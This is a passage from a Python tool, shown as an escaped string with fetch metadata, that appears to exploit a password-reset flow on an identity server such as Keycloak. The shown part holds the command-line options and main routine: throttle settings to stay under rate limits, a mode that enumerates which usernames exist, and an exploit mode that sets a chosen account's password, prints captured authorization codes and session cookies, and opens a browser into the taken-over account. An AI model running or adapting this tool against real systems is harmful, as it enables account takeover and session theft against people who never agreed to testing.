%(default)s)\")\n    pace.add_argument(\"--recover-after\", type=int, default=8, metavar=\"N\",\n                      help=\"clean responses before speeding back up (default: %(default)s)\")\n    pace.add_argument(\"--recover-factor\", type=float, default=1.4, metavar=\"X\",\n                      help=\"narrow the interval by this much when recovering \"\n                           \"(default: %(default)s)\")\n\n    conn = parser.add_argument_group(\"connection\")\n    conn.add_argument(\"--address\", help=\"pin every connection to this IP address\")\n    conn.add_argument(\"--insecure\", action=\"store_true\", help=\"skip TLS verification\")\n    conn.add_argument(\"--timeout\", type=float, default=30.0)\n    conn.add_argument(\"--user-agent\")\n    conn.add_argument(\"--header\", action=\"append\", default=[], metavar=\"NAME:VALUE\",\n                      help=\"extra request header, repeatable\")\n    conn.add_argument(\"--selector-field\", default=SELECTOR_FIELD, metavar=\"K=V\",\n                      help=\"field that opens the selector (default: %(default)s)\")\n    conn.add_argument(\"--username-field\", default=USERNAME_FIELD, metavar=\"NAME\",\n                      help=\"identifier field on the reset form, used when the theme \"\n                           \"renders no form to read it from (default: %(default)s)\")\n    conn.add_argument(\"--password-fields\", default=\",\".join(PASSWORD_FIELDS),\n                      metavar=\"A,B\",\n                      help=\"password fields the required action expects, used when \"\n                           \"the theme renders no form (default: %(default)s)\")\n\n    out = parser.add_argument_group(\"output\")\n    out.add_argument(\"--out\", type=Path, help=\"write every request and response here\")\n    out.add_argument(\"--json\", action=\"store_true\", help=\"print results as JSON\")\n\n    browser = parser.add_argument_group(\"browser\")\n    browser.add_argument(\"--open\", choices=(\"off\", \"form\", \"session\"), default=\"off\",\n                         help=\"show the set-password form, or the account console \"\n                              \"the session reaches after --set-password\")\n    browser.add_argument(\"--open-url\", metavar=\"URL\",\n                         help=\"open this instead of the page the mode picks\")\n    browser.add_argument(\"--open-delay\", type=float, default=0.0, metavar=\"SECONDS\",\n                         help=\"wait this long before the browser starts\")\n    browser.add_argument(\"--open-hold\", type=float, default=60.0, metavar=\"SECONDS\")\n    browser.add_argument(\"--open-channel\", metavar=\"NAME\",\n                         help=\"playwright channel such as chrome or msedge\")\n    browser.add_argument(\"--session-max-age\", type=float, default=300.0,\n                         metavar=\"SECONDS\",\n                         help=\"refuse to open the form past this age, since the \"\n                              \"authentication session expires (default: %(default)s)\")\n    browser.add_argument(\"--screenshot\", type=Path, metavar=\"FILE\",\n                         help=\"save a full-page screenshot of what the browser shows\")\n    return parser\n\n\ndef main(argv: list[str] | None = None) -> int:\n    parser = build_parser()\n    args = parser.parse_args(argv)\n\n    identifiers = load_identifiers(args.users, args.users_file)\n    if not args.check and not args.username:\n        parser.error(\"give --username, or --check\")\n    if args.open == \"session\" and not args.set_password:\n        parser.error(\"--open session requires --set-password\")\n    if args.set_password and args.check:\n        parser.error(\"--set-password is a single-account action; drop --check\")\n\n    headers = {}\n    for item in args.header:\n        name, _, value = item.partition(\":\")\n        if not value:\n            parser.error(f\"--header wants NAME:VALUE, got {item!r}\")\n        headers[name.strip()] = value.strip()\n\n    password_fields = tuple(\n        name.strip() for name in args.password_fields.split(\",\") if name.strip()\n    )\n    if not password_fields:\n        parser.error(\"--password-fields wants at least one field name\")\n\n    try:\n        target = Target(\n            url=args.url, realm=args.realm, discovery_url=args.discovery_url,\n            auth_url=args.auth_url, reset_url=args.reset_url, client_id=args.client_id,\n            redirect_uri=args.redirect_uri, scope=args.scope,\n            selector_field=args.selector_field,\n            username_field=args.username_field, password_fields=password_fields,\n            address=args.address,\n            verify_tls=not args.insecure, timeout=args.timeout,\n            user_agent=args.user_agent, headers=headers,\n        )\n    except ValueError as exc:\n        parser.error(str(exc))\n\n    pacer = Pacer(\n        rate=args.rate, floor_rate=args.floor_rate, jitter=args.jitter,\n        max_retries=args.retries, slow_factor=args.slow_factor,\n        recover_after=args.recover_after, recover_factor=args.recover_factor,\n    )\n    exploit: Exploit | None = None\n\n    try:\n        if args.check:\n            probe, results = run_check(target, pacer, identifiers, args.out)\n            payload = {\n                \"probe\": probe.as_dict(),\n                \"identifiers\": [r.as_dict() for r in results],\n                \"pacing\": pacer.report(),\n            }\n            if args.json:\n                print(json.dumps(payload, indent=2))\n            else:\n                if results:\n                    resolved = [\n                        r.identifier for r in results if r.outcome is Outcome.FORM_REACHED\n                    ]\n                    print(f\"\\n{len(resolved)} of {len(results)} identifiers resolve\")\n                    for name in resolved:\n                        print(f\"  {name}\")\n                print(_pacing_line(pacer))\n            affected = probe.outcome in (Outcome.ACCOUNT_ABSENT, Outcome.FORM_REACHED)\n            return 0 if affected else 1\n\n        exploit = Exploit(target, pacer, args.out)\n        result = exploit.run(args.username, args.set_password)\n    except RateLimited as exc:\n        print(f\"rate limited: {exc}\", file=sys.stderr)\n        return 3\n    except ExploitError as exc:\n        print(f\"error: {exc}\", file=sys.stderr)\n        return 2\n    except urllib.error.URLError as exc:\n        print(f\"transport error: {exc.reason}\", file=sys.stderr)\n        return 2\n\n    if args.json:\n        print(json.dumps(result.as_dict(), indent=2))\n    else:\n        for step in result.steps:\n            suffix = f\" -> {step.location}\" if step.location else \"\"\n            retried = f\"  ({step.retries} retries)\" if step.retries else \"\"\n            print(f\"  {step.status}  {step.method:4}  {step.tag}{suffix}{retried}\")\n        print(f\"\\n{result.outcome.value}: {result.detail}\")\n        if result.authorization_code:\n            print(f\"authorization code: {result.authorization_code}\")\n        if result.session_cookies:\n            print(f\"session cookies: {', '.join(result.session_cookies)}\")\n        print(_pacing_line(pacer))\n\n    if args.open != \"off\" and exploit:\n        try:\n            open_browser(\n                exploit,\n                browser_url(args.open, result, exploit, args.open_url),\n                mode=args.open,\n                delay=args.open_delay,\n                hold=args.open_hold,\n                channel=args.open_channel,\n                max_age=args.session_max_age,\n                screenshot=args.screenshot,\n            )\n        except ExploitError as exc:\n            print(f\"browser: {exc}\", file=sys.stderr)\n\n    return 0 if result.outcome in (Outcome.FORM_REACHED, Outcome.PASSWORD_SET) else 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())","sha256":"eca88185c46933e043d3d54bf57b0e911fe9e15e31c7b5fad890b9a06b366b18","bytes":42264,"fetchedAt":"2026-11-25T10:17:06.226Z","encoding":"utf-8 (display only; download retains original bytes)"}